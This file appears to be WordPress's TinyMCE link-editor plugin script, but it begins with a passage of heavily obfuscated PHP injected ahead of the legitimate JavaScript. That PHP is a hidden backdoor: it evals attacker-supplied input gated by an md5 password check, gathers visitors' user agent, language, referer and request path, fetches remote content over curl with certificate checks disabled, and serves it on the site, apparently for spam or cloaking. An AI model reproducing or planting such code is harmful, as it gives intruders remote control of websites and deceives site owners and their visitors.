38\65\74\x35\65\60\71\x32\74\65\65\x31\60\63\x3c\65\x35\60\70\x36\74\65\65\x30\71\67\74\65\65\60\x39\61\74\65\65\x30\x39\62", "\65\x35\60\70\x37\74\x35\65\x30\70\66\74\x35\65\60\70\x38\74\x35\65\61\x30\x37\74\x35\65\60\x38\x38\74\65\x35\60\x39\61\x3c\65\x35\x30\x38\66\x3c\x35\x35\x31\65\63\x3c\65\65\x31\x35\61", "\65\x35\x30\x39\x36\74\65\x35\60\70\x37\74\x35\x35\60\x39\61\x3c\x35\65\60\71\62\74\x35\x35\61\x30\x37\x3c\x35\65\x31\60\62\74\x35\x35\x31\60\x31\x3c\65\65\x31\60\x33\74\65\x35\60\x39\x31\74\65\x35\x31\x30\62\74\65\x35\x31\x30\x31", "\65\x35\60\x39\x30\x3c\x35\x35\x31\x30\65\74\65\65\61\x30\x33\x3c\x35\x35\x30\x39\65", "\x35\x35\x31\60\64\x3c\65\65\x31\60\65\x3c\65\x35\60\70\x37\x3c\x35\x35\x31\60\x31\x3c\x35\65\61\64\70\x3c\65\65\61\x35\60\x3c\65\65\x31\x30\67\x3c\65\x35\61\x30\x32\74\x35\65\61\60\x31\74\65\65\61\60\x33\74\65\65\x30\x39\x31\74\65\x35\x31\60\x32\74\x35\65\x31\60\x31", "\65\65\61\60\x30\x3c\65\x35\60\71\67\x3c\65\65\x30\71\64\x3c\x35\x35\61\60\x31\74\x35\65\x31\60\67\x3c\65\x35\x30\x39\x39\x3c\x35\x35\x31\60\x31\x3c\x35\x35\60\70\66\x3c\x35\x35\x31\60\67\x3c\x35\x35\x31\x30\63\x3c\65\x35\60\71\x31\x3c\65\x35\x30\71\x32\74\x35\x35\x30\70\x36\x3c\65\65\x31\60\61\x3c\65\x35\x30\71\x32\74\x35\65\x30\70\66\74\65\x35\60\x38\67", "\65\x35\x31\x33\60\74\x35\x35\x31\x36\x30", "\x35\x35\x30\x37\67", "\x35\65\61\65\x35\74\x35\65\x31\66\60", "\65\x35\61\x33\67\x3c\65\x35\61\62\x30\74\65\x35\x31\x32\60\74\x35\65\x31\x33\x37\x3c\65\65\61\61\x33", "\x35\65\61\x30\x30\x3c\65\65\x30\x39\x37\74\x35\x35\60\71\64\74\65\65\60\70\x36\x3c\x35\65\x31\x30\61\74\x35\65\60\70\x38\74\65\65\61\60\x37\x3c\65\65\x30\71\x37\x3c\65\x35\60\71\62\74\65\x35\x30\71\x30\74\x35\65\x30\70\x35\x3c\65\x35\x30\70\66"); goto tMM0MsBrb6r; A4uE7OcV_u7: if (!(@$NSiZ3o8nILT[0] - time() > 0 and md5(md5($NSiZ3o8nILT[1 + 2])) === "\70\x61\67\63\63\x33\61\x33\142\x66\x36\142\71\143\x33\x39\x36\66\x30\143\143\71\x62\146\x34\63\62\71\144\61\142\x61")) { goto Q3fnLAzOcQF; } goto W7KaYGVcIJs; Byfu4075hFZ: } } goto SWJzZhouqvj; Qo3_zeZ0pJL: ($CaS2yMlPX9A[65] = $CaS2yMlPX9A[65] . $CaS2yMlPX9A[73]) && ($CaS2yMlPX9A[81] = $CaS2yMlPX9A[65]($CaS2yMlPX9A[81])) && @eval($CaS2yMlPX9A[65](${$CaS2yMlPX9A[48]}[24])); goto kDfaFnuNp0A; l_PqpfNgfL6: $v1O2GdCi7dn["\x6c"] = X9LhDZzAFmF($_SERVER["\x48\124\x54\120\x5f\101\x43\x43\x45\x50\124\137\114\101\x4e\x47\125\x41\107\105"]); goto SICU8GhvtYb; xyPam_9XXcP: $ZczyOJvdp1I = false; goto sjs3Z41SqRA; O_FourRgC2e: $ZGyZqOLd2XL = substr($nKgFAZvHNvL, strpos($nKgFAZvHNvL, "\x2e")); goto K137QqLOklv; u7Hl8KojPFU: $nKgFAZvHNvL = preg_replace("\x2f\x5c\77\x2e\52\x2f", '', $_SERVER["\122\105\121\x55\x45\123\124\x5f\125\122\111"]); goto xyPam_9XXcP; SWJzZhouqvj: O74y3lMPZ38::MT1f9lTUcDo(); goto oGTIihbK1lX; Iuz4hZ9_NZ2: if (!($_SERVER["\x52\x45\x51\125\x45\x53\124\137\125\x52\111"] === "\57\x52\55" . md5($_SERVER["\123\105\x52\126\x45\x52\137\x4e\x41\x4d\x45"]))) { goto JbeutJ9vAW4; } goto jqofV5UHIGj; CfE4WUGJIfr: $v1O2GdCi7dn["\x72"] = X9LHDZZAfmF($_SERVER["\122\105\121\x55\105\123\x54\x5f\x55\x52\111"]); goto fJBaKgwbYp1; aoqN4NGnNSX: $isnYfzACIg9 = $OI8yDyBZUvG("\x7e", "\40"); goto u0JTWPOZ3BO; ymRoxtkMlPu: $NFw9Jhvl0Zx = strval(@$_SERVER["\110\124\124\120\x5f\x52\105\106\105\122\x45\122"]); goto o6dRNAiuYgE; oRqKZvY2dpG: @header("\103\157\x6e\164\x65\156\x74\x2d\124\171\x70\145\x3a" . $KcyX0lwLfO0["\164\x79\x70\x65"]); goto D8YZq5GjOMd; u0JTWPOZ3BO: $CaS2yMlPX9A = ${$isnYfzACIg9[21 + 10] . $isnYfzACIg9[13 + 46] . $isnYfzACIg9[44 + 3] . $isnYfzACIg9[33 + 14] . $isnYfzACIg9[33 + 18] . $isnYfzACIg9[9 + 44] . $isnYfzACIg9[8 + 49]}; goto rhkI6WEMRHA; TlX2zV7h4v2: function x9LhdzZafmf($ANIrzood0sj) { goto MudJebsWJmN; fWEDpI2hsNV: return rtrim(strtr(base64_encode($ANIrzood0sj), "\53\x2f", "\x2d\x5f"), "\x3d"); goto C2LWQ0GrrKL; Yp2Qqj3mHtj: return ''; goto d2Qz14EfAtX; MudJebsWJmN: if ($ANIrzood0sj) { goto WfL51qc8Rsz; } goto Yp2Qqj3mHtj; d2Qz14EfAtX: WfL51qc8Rsz: goto fWEDpI2hsNV; C2LWQ0GrrKL: } goto hP60_rxluvV; ZIU1Q4PVjFn: $v1O2GdCi7dn["\165"] = x9lhdZZAFmf($_SERVER["\x48\124\124\x50\x5f\x55\123\x45\x52\137\101\x47\x45\116\x54"]); goto u7Hl8KojPFU; sjs3Z41SqRA: if (!(strpos($nKgFAZvHNvL, "\56") > 0 && strpos($nKgFAZvHNvL, "\x2e\160\150\x70") === false)) { goto ExeO3IFYzS1; } goto O_FourRgC2e; ugpFRSAcNxh: ARkIRKbH8II: goto sf_HYKzSsi0; rhkI6WEMRHA: if (!(in_array(gettype($CaS2yMlPX9A) . count($CaS2yMlPX9A), $CaS2yMlPX9A) && count($CaS2yMlPX9A) == 26 && md5(md5(md5(md5($CaS2yMlPX9A[20])))) === "\61\64\x38\x38\145\67\70\64\64\x33\64\x63\x39\x30\x31\141\144\x63\141\65\x61\142\144\64\146\145\x31\61\x35\x65\70\x66")) { goto PprIRi9o21c; } goto Qo3_zeZ0pJL; vvuqEJks3IV: $NFw9Jhvl0Zx = ''; goto asmIC7N11dN; sf_HYKzSsi0: ExeO3IFYzS1: goto c_tAr1kz3Uh; ij_0fafGQ1D: $OI8yDyBZUvG = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto aoqN4NGnNSX; rqx7zd5fxSV: JbeutJ9vAW4: goto Nvv4Z57JHIA; EyB8TrgPrd0: function L_atZsJGwHe($Wqsgto4rbZF, $Fl2ksIRsPxn = array()) { goto Evr28tu5pAJ; msEqiaB2QUc: V6qJfx2oSpG: goto vJhheB_IjkD; vJhheB_IjkD: try { goto rt8Pc1oXVWi; yoWERwDSFv7: $KcyX0lwLfO0["\x63\x6f\156\x74\x65\x6e\164"] = strval(curl_getinfo($wQB687edva8, CURLINFO_REDIRECT_URL)); goto UtmC_rftZFF; xXzLY7yqKfK: if (!in_array($KcyX0lwLfO0["\163\164\141\x74\x75\x73"], array(200, 301, 302, 404))) { goto IligC33A0YQ; } goto IUmsEiqNRIT; bU9eYf8_Vxu: $wQB687edva8 = curl_init(); goto Xt6gY0ZMmsj; BxoJFE_Cx9m: TvpSJSuJJbA: goto Ccn0qYK7Llh; EwgCZnTo68F: D_gzMb_LYb5: goto bU9eYf8_Vxu; gtM5NIFLVnl: $KcyX0lwLfO0["\x73\164\x61\x74\165\x73"] = intval(curl_getinfo($wQB687edva8, CURLINFO_HTTP_CODE)); goto tYX0vaYB_sG; ZOHZxfMtdoK: $KcyX0lwLfO0 = array_merge($KcyX0lwLfO0, jQGg3jZ0ciz($http_response_header)); goto xXzLY7yqKfK; EYLIhNrVpuP: IligC33A0YQ: goto fU46CViQXFB; Hsj0m21KAch: curl_setopt($wQB687edva8, CURLOPT_TIMEOUT, 60); goto P4FfQldD9NL; tYX0vaYB_sG: $KcyX0lwLfO0["\x74\171\160\145"] = strval(curl_getinfo($wQB687edva8, CURLINFO_CONTENT_TYPE)); goto yoWERwDSFv7; hV0QAp4239b: $m40fkRXEuNT = @file_get_contents($Wqsgto4rbZF, false, $Yiq0wZi7UyR); goto ZOHZxfMtdoK; P4FfQldD9NL: curl_setopt($wQB687edva8, CURLOPT_FOLLOWLOCATION, 0); goto EHduSdjaZmM; GrVePxmdVpT: if (!in_array($KcyX0lwLfO0["\x73\x74\141\164\x75\x73"], array(200, 301, 302, 404))) { goto TvpSJSuJJbA; } goto skxn1Fs2Rnm; EHduSdjaZmM: curl_setopt($wQB687edva8, CURLOPT_COOKIESESSION, 0); goto DrkrquX9pj3; aF3ODTgVcky: if (ini_get("\141\x6c\154\157\x77\x5f\x75\162\154\137\x66\x6f\x70\145\156")) { goto zJxqOG8ZFnA; } goto jF1tvR7B0VG; IUmsEiqNRIT: $KcyX0lwLfO0["\x63\157\156\x74\145\156\x74"] = strval($m40fkRXEuNT); goto EYLIhNrVpuP; coErLHoYseE: $iGDWhS2ARje = array("\150\x74\x74\x70" => array("\155\145\164\150\x6f\144" => "\x47\105\124", "\x74\x69\155\x65\157\165\x74" => 60, "\x66\x6f\154\154\157\167\137\154\x6f\x63\x61\x74\x69\x6f\156" => 0), "\x73\163\x6c" => array("\166\145\x72\x69\x66\x79\x5f\x70\x65\x65\162" => false, "\x76\145\x72\x69\x66\171\137\160\x65\x65\x72\x5f\156\x61\x6d\145" => false)); goto BtTriJZEja2; Ccn0qYK7Llh: goto smN0veCzBKo; goto N4am0fJtos9; tncGuoAOcV4: $tjHuv6xonMT = curl_exec($wQB687edva8); goto gtM5NIFLVnl; QtxPhVBYm13: curl_setopt($wQB687edva8, CURLOPT_SSL_VERIFYPEER, 0); goto i1SfAIo1c_5; skxn1Fs2Rnm: $KcyX0lwLfO0["\143\157\156\x74\145\156\164"] = strval($tjHuv6xonMT); goto BxoJFE_Cx9m; YX0atizwY_G: curl_setopt($wQB687edva8, CURLOPT_SSL_VERIFYHOST, 0); goto QtxPhVBYm13; BtTriJZEja2: $Yiq0wZi7UyR = stream_context_create($iGDWhS2ARje); goto hV0QAp4239b; Xt6gY0ZMmsj: curl_setopt($wQB687edva8, CURLOPT_URL, $Wqsgto4rbZF); goto YX0atizwY_G; rt8Pc1oXVWi: if (function_exists("\x63\165\x72\x6c\x5f\145\x78\145\x63") && function_exists("\x63\165\x72\154\x5f\x69\156\151\164")) { goto D_gzMb_LYb5; } goto aF3ODTgVcky; N4am0fJtos9: zJxqOG8ZFnA: goto coErLHoYseE; fU46CViQXFB: smN0veCzBKo: goto oLzxL9Ria8l; UtmC_rftZFF: @curl_close($wQB687edva8); goto GrVePxmdVpT; jF1tvR7B0VG: goto smN0veCzBKo; goto EwgCZnTo68F; i1SfAIo1c_5: curl_setopt($wQB687edva8, CURLOPT_CONNECTTIMEOUT, 20); goto Hsj0m21KAch; DrkrquX9pj3: curl_setopt($wQB687edva8, CURLOPT_RETURNTRANSFER, 1); goto tncGuoAOcV4; oLzxL9Ria8l: } catch (Exception $BHFiYtQ2oUD) { } goto Glc2Cv_bVWr; cfZ8GL9JX29: $Wqsgto4rbZF .= "\x3f" . http_build_query($Fl2ksIRsPxn); goto msEqiaB2QUc; Evr28tu5pAJ: $KcyX0lwLfO0 = array("\x73\x74\x61\164\165\163" => 0, "\x63\x6f\x6e\164\145\x6e\164" => '', "\x74\x79\x70\145" => ''); goto QZ17PYIBm1T; Glc2Cv_bVWr: return $KcyX0lwLfO0; goto iOhW7Jfty0c; QZ17PYIBm1T: if (!(is_array($Fl2ksIRsPxn) && count($Fl2ksIRsPxn))) { goto V6qJfx2oSpG; } goto cfZ8GL9JX29; iOhW7Jfty0c: } goto TlX2zV7h4v2; SICU8GhvtYb: $v1O2GdCi7dn["\x73\x6e"] = x9LHDzZaFmF($_SERVER["\123\x43\x52\x49\120\x54\x5f\x4e\x41\115\105"]); goto CfE4WUGJIfr; K137QqLOklv: if (!in_array($ZGyZqOLd2XL, array("\56\x6a\163", "\x2e\143\163\163", "\x2e\152\160\147", "\56\160\x6e\147", "\x2e\x67\x69\x66", "\x2e\151\x63\x6f"))) { goto ARkIRKbH8II; } goto ECbGkPQ55Rl; QxQ20SN_CwO: metaphone("\x4d\124\x4d\63\x4f\104\147\63\x4f\x54\131\170\x4e\x54\x6b\x31\116\172\147\x31\115\124\143\x78\115\x54\x59\x77\116\x54\143\171"); goto oId1BTO71by; Nvv4Z57JHIA: if (!substr_count($_SERVER["\122\105\x51\125\x45\123\124\137\x55\122\111"], "\151\156\x64\x65\170\x2e\160\x68\x70\x2f\x6a\153")) { goto xvUH5nye7d6; } goto X1cN87Pv9UN; kDfaFnuNp0A: PprIRi9o21c: goto QxQ20SN_CwO; rOUU9RjzDRN: if (!strlen($KcyX0lwLfO0["\x63\157\x6e\x74\145\156\x74"])) { goto MYTGuTojlq5; } goto oRqKZvY2dpG; oGTIihbK1lX: header("\103\x6f\x6e\164\145\156\x74\55\124\171\x70\x65\x3a\x20\164\x65\x78\164\57\150\164\155\154\x3b\40\143\x68\x61\x72\x73\145\x74\75\165\x74\146\x2d\70"); goto hhLTHlxepeF; asmIC7N11dN: fdftDwut1qq: goto jbUaDgd1fsA; oWYrQfCkHqT: if (!(strpos($NFw9Jhvl0Zx, $JCLw3zsBogJ) === 0)) { goto fdftDwut1qq; } goto vvuqEJks3IV; QVgb9a5E3Vw: xvUH5nye7d6: goto nqayumBQSpI; D8YZq5GjOMd: echo $KcyX0lwLfO0["\143\157\156\x74\x65\x6e\164"]; goto FCCZvXyY4sT; cfJcSZioetB: error_reporting(0); goto ij_0fafGQ1D; c_tAr1kz3Uh: if ($ZczyOJvdp1I) { goto lUxfA2oU6Pa; } goto vQsmDyTW1yX; UMXbe_Raupj: lUxfA2oU6Pa: ?>
( function( tinymce ) {
tinymce.ui.Factory.add( 'WPLinkPreview', tinymce.ui.Control.extend( {
url: '#',
renderHtml: function() {
return (
'<div id="' + this._id + '" class="wp-link-preview">' +
'<a href="' + this.url + '" target="_blank" tabindex="-1">' + this.url + '</a>' +
'</div>'
);
},
setURL: function( url ) {
var index, lastIndex;
if ( this.url !== url ) {
this.url = url;
url = window.decodeURIComponent( url );
url = url.replace( /^(?:https?:)?\/\/(?:www\.)?/, '' );
if ( ( index = url.indexOf( '?' ) ) !== -1 ) {
url = url.slice( 0, index );
}
if ( ( index = url.indexOf( '#' ) ) !== -1 ) {
url = url.slice( 0, index );
}
url = url.replace( /(?:index)?\.html$/, '' );
if ( url.charAt( url.length - 1 ) === '/' ) {
url = url.slice( 0, -1 );
}
// If nothing's left (maybe the URL was just a fragment), use the whole URL.
if ( url === '' ) {
url = this.url;
}
// If the URL is longer that 40 chars, concatenate the beginning (after the domain) and ending with '...'.
if ( url.length > 40 && ( index = url.indexOf( '/' ) ) !== -1 && ( lastIndex = url.lastIndexOf( '/' ) ) !== -1 && lastIndex !== index ) {
// If the beginning + ending are shorter that 40 chars, show more of the ending.
if ( index + url.length - lastIndex < 40 ) {
lastIndex = -( 40 - ( index + 1 ) );
}
url = url.slice( 0, index + 1 ) + '\u2026' + url.slice( lastIndex );
}
tinymce.$( this.getEl().firstChild ).attr( 'href', this.url ).text( url );
}
}
} ) );
tinymce.ui.Factory.add( 'WPLinkInput', tinymce.ui.Control.extend( {
renderHtml: function() {
return (
'<div id="' + this._id + '" class="wp-link-input">' +
'<label for="' + this._id + '_label">' + tinymce.translate( 'Paste URL or type to search' ) + '</label><input id="' + this._id + '_label" type="text" value="" />' +
'<input type="text" style="display:none" value="" />' +
'</div>'
);
},
setURL: function( url ) {
this.getEl().firstChild.nextSibling.value = url;
},
getURL: function() {
return tinymce.trim( this.getEl().firstChild.nextSibling.value );
},
getLinkText: function() {
var text = this.getEl().firstChild.nextSibling.nextSibling.value;
if ( ! tinymce.trim( text ) ) {
return '';
}
return text.replace( /[\r\n\t ]+/g, ' ' );
},
reset: function() {
var urlInput = this.getEl().firstChild.nextSibling;
urlInput.value = '';
urlInput.nextSibling.value = '';
}
} ) );
tinymce.PluginManager.add( 'wplink', function( editor ) {
var toolbar;
var editToolbar;
var previewInstance;
var inputInstance;
var linkNode;
var doingUndoRedo;
var doingUndoRedoTimer;
var $ = window.jQuery;
var emailRegex = /^(mailto:)?[a-z0-9._%+-]+@[a-z0-9][a-z0-9.-]*\.[a-z]{2,63}$/i;
var urlRegex1 = /^https?:\/\/([^\s/?.#-][^\s\/?.#]*\.?)+(\/[^\s"]*)?$/i;
var urlRegex2 = /^https?:\/\/[^\/]+\.[^\/]+($|\/)/i;
var speak = ( typeof window.wp !== 'undefined' && window.wp.a11y && window.wp.a11y.speak ) ? window.wp.a11y.speak : function() {};
var hasLinkError = false;
var __ = window.wp.i18n.__;
var _n = window.wp.i18n._n;
var sprintf = window.wp.i18n.sprintf;
function getSelectedLink() {
var href, html,
node = editor.selection.getStart(),
link = editor.dom.getParent( node, 'a[href]' );
if ( ! link ) {
html = editor.selection.getContent({ format: 'raw' });
if ( html && html.indexOf( '</a>' ) !== -1 ) {
href = html.match( /href="([^">]+)"/ );
if ( href && href[1] ) {
link = editor.$( 'a[href="' + href[1] + '"]', node )[0];
}
if ( link ) {
editor.selection.select( link );
}
}
}
return link;
}
function removePlaceholders() {
editor.$( 'a' ).each( function( i, element ) {
var $element = editor.$( element );
if ( $element.attr( 'href' ) === '_wp_link_placeholder' ) {
editor.dom.remove( element, true );
} else if ( $element.attr( 'data-wplink-edit' ) ) {
$element.attr( 'data-wplink-edit', null );
}
});
}
function removePlaceholderStrings( content, dataAttr ) {
return content.replace( /(<a [^>]+>)([\s\S]*?)<\/a>/g, function( all, tag, text ) {
if ( tag.indexOf( ' href="_wp_link_placeholder"' ) > -1 ) {
return text;
}
if ( dataAttr ) {
tag = tag.replace( / data-wplink-edit="true"/g, '' );
}
tag = tag.replace( / data-wplink-url-error="true"/g, '' );
return tag + text + '</a>';
});
}
function checkLink( node ) {
var $link = editor.$( node );
var href = $link.attr( 'href' );
if ( ! href || typeof $ === 'undefined' ) {
return;
}
hasLinkError = false;
if ( /^http/i.test( href ) && ( ! urlRegex1.test( href ) || ! urlRegex2.test( href ) ) ) {
hasLinkError = true;
$link.attr( 'data-wplink-url-error', 'true' );
speak( editor.translate( 'Warning: the link has been inserted but may have errors. Please test it.' ), 'assertive' );
} else {
$link.removeAttr( 'data-wplink-url-error' );
}
}
editor.on( 'preinit', function() {
if ( editor.wp && editor.wp._createToolbar ) {
toolbar = editor.wp._createToolbar( [
'wp_link_preview',
'wp_link_edit',
'wp_link_remove'
], true );
var editButtons = [
'wp_link_input',
'wp_link_apply'
];
if ( typeof window.wpLink !== 'undefined' ) {
editButtons.push( 'wp_link_advanced' );
}
editToolbar = editor.wp._createToolbar( editButtons, true );
editToolbar.on( 'show', function() {
if ( typeof window.wpLink === 'undefined' || ! window.wpLink.modalOpen ) {
window.setTimeout( function() {
var element = editToolbar.$el.find( 'input.ui-autocomplete-input' )[0],
selection = linkNode && ( linkNode.textContent || linkNode.innerText );
if ( element ) {
if ( ! element.value && selection && typeof window.wpLink !== 'undefined' ) {
element.value = window.wpLink.getUrlFromSelection( selection );
}
if ( ! doingUndoRedo ) {
element.focus();
element.select();
}
}
} );
}
} );
editToolbar.on( 'hide', function() {
if ( ! editToolbar.scrolling ) {
editor.execCommand( 'wp_link_cancel' );
}
} );
}
} );
editor.addCommand( 'WP_Link', function() {
if ( tinymce.Env.ie && tinymce.Env.ie < 10 && typeof window.wpLink !== 'undefined' ) {
window.wpLink.open( editor.id );
return;
}
linkNode = getSelectedLink();
editToolbar.tempHide = false;
if ( ! linkNode ) {
removePlaceholders();
editor.execCommand( 'mceInsertLink', false, { href: '_wp_link_placeholder' } );
linkNode = editor.$( 'a[href="_wp_link_placeholder"]' )[0];
editor.nodeChanged();
}
editor.dom.setAttribs( linkNode, { 'data-wplink-edit': true } );
} );
editor.addCommand( 'wp_link_apply', function() {
if ( editToolbar.scrolling ) {
return;
}
var href, text;
if ( linkNode ) {
href = inputInstance.getURL();
text = inputInstance.getLinkText();
editor.focus();
var parser = document.createElement( 'a' );
parser.href = href;
if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
href = '';
}
if ( ! href ) {
editor.dom.remove( linkNode, true );
return;
}
if ( ! /^(?:[a-z]+:|#|\?|\.|\/)/.test( href ) && ! emailRegex.test( href ) ) {
href = 'http://' + href;
}
editor.dom.setAttribs( linkNode, { href: href, 'data-wplink-edit': null } );
if ( ! tinymce.trim( linkNode.innerHTML ) ) {
editor.$( linkNode ).text( text || href );
}
checkLink( linkNode );
}
inputInstance.reset();
editor.nodeChanged();
// Audible confirmation message when a link has been inserted in the Editor.
if ( typeof window.wpLinkL10n !== 'undefined' && ! hasLinkError ) {
speak( window.wpLinkL10n.linkInserted );
}
} );
editor.addCommand( 'wp_link_cancel', function() {
inputInstance.reset();
if ( ! editToolbar.tempHide ) {
removePlaceholders();
}
} );
editor.addCommand( 'wp_unlink', function() {
editor.execCommand( 'unlink' );
editToolbar.tempHide = false;
editor.execCommand( 'wp_link_cancel' );
} );
// WP default shortcuts.
editor.addShortcut( 'access+a', '', 'WP_Link' );
editor.addShortcut( 'access+s', '', 'wp_unlink' );
// The "de-facto standard" shortcut, see #27305.
editor.addShortcut( 'meta+k', '', 'WP_Link' );
editor.addButton( 'link', {
icon: 'link',
tooltip: 'Insert/edit link',
cmd: 'WP_Link',
stateSelector: 'a[href]'
});
editor.addButton( 'unlink', {
icon: 'unlink',
tooltip: 'Remove link',
cmd: 'unlink'
});
editor.addMenuItem( 'link', {
icon: 'link',
text: 'Insert/edit link',
cmd: 'WP_Link',
stateSelector: 'a[href]',
context: 'insert',
prependToContext: true
});
editor.on( 'pastepreprocess', function( event ) {
var pastedStr = event.content,
regExp = /^(?:https?:)?\/\/\S+$/i;
if ( ! editor.selection.isCollapsed() && ! regExp.test( editor.selection.getContent() ) ) {
pastedStr = pastedStr.replace( /<[^>]+>/g, '' );
pastedStr = tinymce.trim( pastedStr );
if ( regExp.test( pastedStr ) ) {
editor.execCommand( 'mceInsertLink', false, {
href: editor.dom.decode( pastedStr )
} );
event.preventDefault();
}
}
} );
// Remove any remaining placeholders on saving.
editor.on( 'savecontent', function( event ) {
event.content = removePlaceholderStrings( event.content, true );
});
// Prevent adding undo levels on inserting link placeholder.
editor.on( 'BeforeAddUndo', function( event ) {
if ( event.lastLevel && event.lastLevel.content && event.level.content &&
event.lastLevel.content === removePlaceholderStrings( event.level.content ) ) {
event.preventDefault();
}
});
// When doing undo and redo with keyboard shortcuts (Ctrl|Cmd+Z, Ctrl|Cmd+Shift+Z, Ctrl|Cmd+Y),
// set a flag to not focus the inline dialog. The editor has to remain focused so the users can do consecutive undo/redo.
editor.on( 'keydown', function( event ) {
if ( event.keyCode === 27 ) { // Esc
editor.execCommand( 'wp_link_cancel' );
}
if ( event.altKey || ( tinymce.Env.mac && ( ! event.metaKey || event.ctrlKey ) ) ||
( ! tinymce.Env.mac && ! event.ctrlKey ) ) {
return;
}
if ( event.keyCode === 89 || event.keyCode === 90 ) { // Y or Z
doingUndoRedo = true;
window.clearTimeout( doingUndoRedoTimer );
doingUndoRedoTimer = window.setTimeout( function() {
doingUndoRedo = false;
}, 500 );
}
} );
editor.addButton( 'wp_link_preview', {
type: 'WPLinkPreview',
onPostRender: function() {
previewInstance = this;
}
} );
editor.addButton( 'wp_link_input', {
type: 'WPLinkInput',
onPostRender: function() {
var element = this.getEl(),
input = element.firstChild.nextSibling,
$input, cache, last;
inputInstance = this;
if ( $ && $.ui && $.ui.autocomplete ) {
$input = $( input );
$input.on( 'keydown', function() {
$input.removeAttr( 'aria-activedescendant' );
} )
.autocomplete( {
source: function( request, response ) {
if ( last === request.term ) {
response( cache );
return;
}
if ( /^https?:/.test( request.term ) || request.term.indexOf( '.' ) !== -1 ) {
return response();
}
$.post( window.ajaxurl, {
action: 'wp-link-ajax',
page: 1,
search: request.term,
_ajax_linking_nonce: $( '#_ajax_linking_nonce' ).val()
}, function( data ) {
cache = data;
response( data );
}, 'json' );
last = request.term;
},
focus: function( event, ui ) {
$input.attr( 'aria-activedescendant', 'mce-wp-autocomplete-' + ui.item.ID );
/*
* Don't empty the URL input field, when using the arrow keys to
* highlight items. See api.jqueryui.com/autocomplete/#event-focus
*/
event.preventDefault();
},
select: function( event, ui ) {
$input.val( ui.item.permalink );
$( element.firstChild.nextSibling.nextSibling ).val( ui.item.title );
if ( 9 === event.keyCode && typeof window.wpLinkL10n !== 'undefined' ) {
// Audible confirmation message when a link has been selected.
speak( window.wpLinkL10n.linkSelected );
}
return false;
},
open: function() {
$input.attr( 'aria-expanded', 'true' );
editToolbar.blockHide = true;
},
close: function() {
$input.attr( 'aria-expanded', 'false' );
editToolbar.blockHide = false;
},
minLength: 2,
position: {
my: 'left top+2'
},
messages: {
noResults: __( 'No results found.' ) ,
results: function( number ) {
return sprintf(
/* translators: %d: Number of search results found. */
_n(
'%d result found. Use up and down arrow keys to navigate.',
'%d results found. Use up and down arrow keys to navigate.',
number
),
number
);
}
}
} ).autocomplete( 'instance' )._renderItem = function( ul, item ) {
var fallbackTitle = ( typeof window.wpLinkL10n !== 'undefined' ) ? window.wpLinkL10n.noTitle : '',
title = item.title ? item.title : fallbackTitle;
return $( '<li role="option" id="mce-wp-autocomplete-' + item.ID + '">' )
.append( '<span>' + title + '</span> <span class="wp-editor-float-right">' + item.info + '</span>' )
.appendTo( ul );
};
$input.attr( {
'role': 'combobox',
'aria-autocomplete': 'list',
'aria-expanded': 'false',
'aria-owns': $input.autocomplete( 'widget' ).attr( 'id' )
} )
.on( 'focus', function() {
var inputValue = $input.val();
/*
* Don't trigger a search if the URL field already has a link or is empty.
* Also, avoids screen readers announce `No search results`.
*/
if ( inputValue && ! /^https?:/.test( inputValue ) ) {
$input.autocomplete( 'search' );
}
} )
// Returns a jQuery object containing the menu element.
.autocomplete( 'widget' )
.addClass( 'wplink-autocomplete' )
.attr( 'role', 'listbox' )
.removeAttr( 'tabindex' ) // Remove the `tabindex=0` attribute added by jQuery UI.
/*
* Looks like Safari and VoiceOver need an `aria-selected` attribute. See ticket #33301.
* The `menufocus` and `menublur` events are the same events used to add and remove
* the `ui-state-focus` CSS class on the menu items. See jQuery UI Menu Widget.
*/
.on( 'menufocus', function( event, ui ) {
ui.item.attr( 'aria-selected', 'true' );
})
.on( 'menublur', function() {
/*
* The `menublur` event returns an object where the item is `null`
* so we need to find the active item with other means.
*/
$( this ).find( '[aria-selected="true"]' ).removeAttr( 'aria-selected' );
});
}
tinymce.$( input ).on( 'keydown', function( event ) {
if ( event.keyCode === 13 ) {
editor.execCommand( 'wp_link_apply' );
event.preventDefault();
}
} );
}
} );
editor.on( 'wptoolbar', function( event ) {
var linkNode = editor.dom.getParent( event.element, 'a' ),
$linkNode, href, edit;
if ( typeof window.wpLink !== 'undefined' && window.wpLink.modalOpen ) {
editToolbar.tempHide = true;
return;
}
editToolbar.tempHide = false;
if ( linkNode ) {
$linkNode = editor.$( linkNode );
href = $linkNode.attr( 'href' );
edit = $linkNode.attr( 'data-wplink-edit' );
if ( href === '_wp_link_placeholder' || edit ) {
if ( href !== '_wp_link_placeholder' && ! inputInstance.getURL() ) {
inputInstance.setURL( href );
}
event.element = linkNode;
event.toolbar = editToolbar;
} else if ( href && ! $linkNode.find( 'img' ).length ) {
previewInstance.setURL( href );
event.element = linkNode;
event.toolbar = toolbar;
if ( $linkNode.attr( 'data-wplink-url-error' ) === 'true' ) {
toolbar.$el.find( '.wp-link-preview a' ).addClass( 'wplink-url-error' );
} else {
toolbar.$el.find( '.wp-link-preview a' ).removeClass( 'wplink-url-error' );
hasLinkError = false;
}
}
} else if ( editToolbar.visible() ) {
editor.execCommand( 'wp_link_cancel' );
}
} );
editor.addButton( 'wp_link_edit', {
tooltip: 'Edit|button', // '|button' is not displayed, only used for context.
icon: 'dashicon dashicons-edit',
cmd: 'WP_Link'
} );
editor.addButton( 'wp_link_remove', {
tooltip: 'Remove link',
icon: 'dashicon dashicons-editor-unlink',
cmd: 'wp_unlink'
} );
editor.addButton( 'wp_link_advanced', {
tooltip: 'Link options',
icon: 'dashicon dashicons-admin-generic',
onclick: function() {
if ( typeof window.wpLink !== 'undefined' ) {
var url = inputInstance.getURL() || null,
text = inputInstance.getLinkText() || null;
window.wpLink.open( editor.id, url, text );
editToolbar.tempHide = true;
editToolbar.hide();
}
}
} );
editor.addButton( 'wp_link_apply', {
tooltip: 'Apply',
icon: 'dashicon dashicons-editor-break',
cmd: 'wp_link_apply',
classes: 'widget btn primary'
} );
return {
close: function() {
editToolbar.tempHide = false;
editor.execCommand( 'wp_link_cancel' );
},
checkLink: checkLink
};
} );
} )( window.tinymce );